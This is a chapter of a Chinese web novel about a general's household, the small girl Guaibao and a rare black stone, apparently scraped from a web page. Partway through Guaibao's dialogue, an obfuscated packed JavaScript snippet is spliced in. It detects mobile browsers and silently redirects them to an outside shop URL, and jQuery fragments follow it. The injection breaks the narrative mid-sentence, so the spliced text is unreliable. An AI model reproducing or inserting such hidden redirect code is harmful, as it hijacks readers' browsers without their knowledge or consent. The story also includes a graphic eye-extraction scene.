“你说这个嘛?”乖宝松开自己的掌心,露出里面那颗尖锐的石块,石头颜色很黑,就像一块铁似的。
顾寒舟兄弟二人盯着她手里的石头,正打量着。
顾应决余光扫了他们一眼,最后将目光落在躺地上的林玄泽脸上。
林玄泽此时已经被陈开扶了起来,脸被方才的顾寒舟打的全都是血,人此时完全晕死过去了。
“将他眼睛里的东西,给本将军拿出来。”顾应决盯着他那双被那块黑色尖锐之物洞穿的眼睛,冷声开口道。
陈开闻言,从腰间取出了一把**,示意身侧的下人按住了林玄泽,手起刀落。
“啊啊啊!”
男人鬼哭狼嚎般的哀嚎声,响彻了整个裴府。
乖宝还没听到声音,身边的顾应柏就伸手捂住了她的耳朵,她还探着脑袋想往那边看,边上的顾寒舟立刻挡在了她面前。
“四叔,坏蛋怎么了?”乖宝仰头好奇地望着顾寒舟。
“没什么,他就是太疼了。”顾寒舟背对着乖宝,目光盯着前面的林玄泽。
林玄泽眼睛里的锋利石头碎片已经被陈开挖了出来,那只受伤的眼睛瞬间喷涌出鲜红的血,昏迷过去的林玄泽生生被疼醒,面目狰狞地捂着还不断流着血的眼睛。
他此时就像痛到极点的人,嘴唇都白了,嘴里的牙都咬出血了,许是太疼,他又疼得晕**过去。
还是陈开掐他人中,才将林玄泽弄醒。
“让人把他丢回林府。”顾应决冷声开口道。
待人被抬了出去。
“爹爹……”
顾寒舟兄弟二人这才松开了乖宝,乖宝绕过他们小跑到顾应决跟前。
顾应决抬眸盯着跟前,笑露白齿,满头是汗的乖宝,伸手摸了摸她的小脸。
从衣袖里抽出了一方手帕,擦了擦她脸上的细汗。
她像是在跟顾应决邀功一般,扬声道:“爹,乖宝刚才打了坏蛋,没让坏蛋继续欺负四叔。”
“嗯,做的不错。”
顾应决不自觉地勾起了唇瓣,说话的声音比方才还要温柔一些。
“怕吗?”顾应决突然问了她一句。
乖宝满脸认真地望着孤影决开口道:“不怕,他欺负四叔,那就该打。”
她攥紧了自己的小拳头,咬着牙满脸气愤地开口道。
“乖宝答应过大伯还有祖母,好好保护四叔的。”她像个小大人一样,明明应该被保护的是她,但是在她嘴里,好像应该保护是他们这些大人。
顾应决对上她那双清澈到能看到自己的目光,脑海里浮现出方才小家伙,一脸严肃机警地朝着林玄泽丢石头的场景。
小家伙关键时刻她是真敢,也是真能下手。
这份勇气,这份魄力。
不错,越来越有他们将军府的风范了。
他不由地耐心开口道:
“日后遇到危险,要先考虑自己的安危,如果有机会逃跑就想先跑,不可莽撞,懂了吗?”
乖宝乖巧地点了点小脑袋,小脸上咧着笑容,“好!”
“去玩吧,爹还有事跟裴大人说。”顾应决一双眼睛静静盯着乖宝
“好的吧。”
乖宝转身往顾应柏那边跑,顾应决望着小家伙的小身影,嘴角的笑意这才压下去。
边上的小厮,忍不住的笑。
将军现在比起小小姐刚回府时,好多了。
这爹当的越来越自觉了,都能自称爹了。
“顾将军。”裴太傅走到了顾应决身前。
两人互相抱拳。
“今日之事多谢将军出手。”
顾应决摆手:“此事跟我四弟有关,我自是不能袖手旁观。”
“只是这事原也不必让将军府这般做法,如今那林玄泽伤了一只眼睛,林家绝不会放过将军府。”裴太傅担忧道。
林家那就是一条狗,被他们咬上不是什么好事。
“太傅放心,此事我已有了决断。”顾应决点头道。
裴太傅见他已有对策,心中的顾虑少了几分,也没再多说什么。
回府途中,顾应柏抱着乖宝询问道:“乖宝,你这石头从哪得来的?”
其他几人都竖起了耳朵听。
只听乖宝挠了挠耳朵,咧着小嘴笑道:“我在地里捡来的。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17220803|197517||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
又是地里捡来的?
顾应柏倒也没多想,乖宝身上本就有许多谜团,那泉水,还有那捡得价值连城的玉石,再捡到这样的石头应该也不难。
“在哪捡的?”顾寒舟问。
乖宝垂头,压着声音道:“就在地上随便捡的。”
“将军这好像是玄铁石,传闻这玄铁石,做的武器削铁如泥。”边上的陈开不确定地俯下身在顾应决耳边,低声道。
“而且极其罕见,乃绝世珍宝。”
顾应决捏了捏手里的小块石头,指腹轻轻在尖锐处一滑,皮肤便轻轻划出了一道小口。
“瞒着,此事不可声张。”顾应决开口道。
“下官明白。”陈开点了点头。
次日,天大亮了没有多久。
一行人闯进了将军府。
“陛下有令,顾应决,顾寒舟,还有将军府的小小姐,即刻前往皇宫觐见。”锦衣卫崔指挥使带人进前厅,扬声道。
“还请将军立刻进宫,别让陛下等急了。”
崔指挥说完朝着轮椅上的顾应决行了一礼,便匆匆离开。
乖宝迷迷糊糊中被人抱着上了马车。
马车内异常的安静,顾寒舟用一张毯子裹着乖宝的小身板,马车里的位置有些狭窄,乖宝缩着躺在顾寒舟怀里,并不太舒服,但并没有妨碍到她的睡意。
顾应决瞥了一眼他怀里,露着半张小脸,闭着眼睛的小家伙。
“三哥,你是不是早就知道,今日陛下会召见我们?”顾寒舟拉了拉毯子,防止毯子遮盖住小家伙的鼻息,压低了声音轻声问道。
顾应决开口道:
“给我。”
顾寒舟一时有些没有反应过来,他想要什么,直到对上顾应决的眼睛,才察觉到对方说的是什么。
“三哥,你的腿……要不还是我来抱着乖宝吧。”顾寒舟舍不得放下,睡在自己怀里乖乖软软的小家伙,舍不得放手。
“没事,给我。”顾应决压低了声音,语气有些冷硬。
顾寒舟对上顾应决那双迫切的目光,心头一紧,还是将乖宝轻轻地递了过去。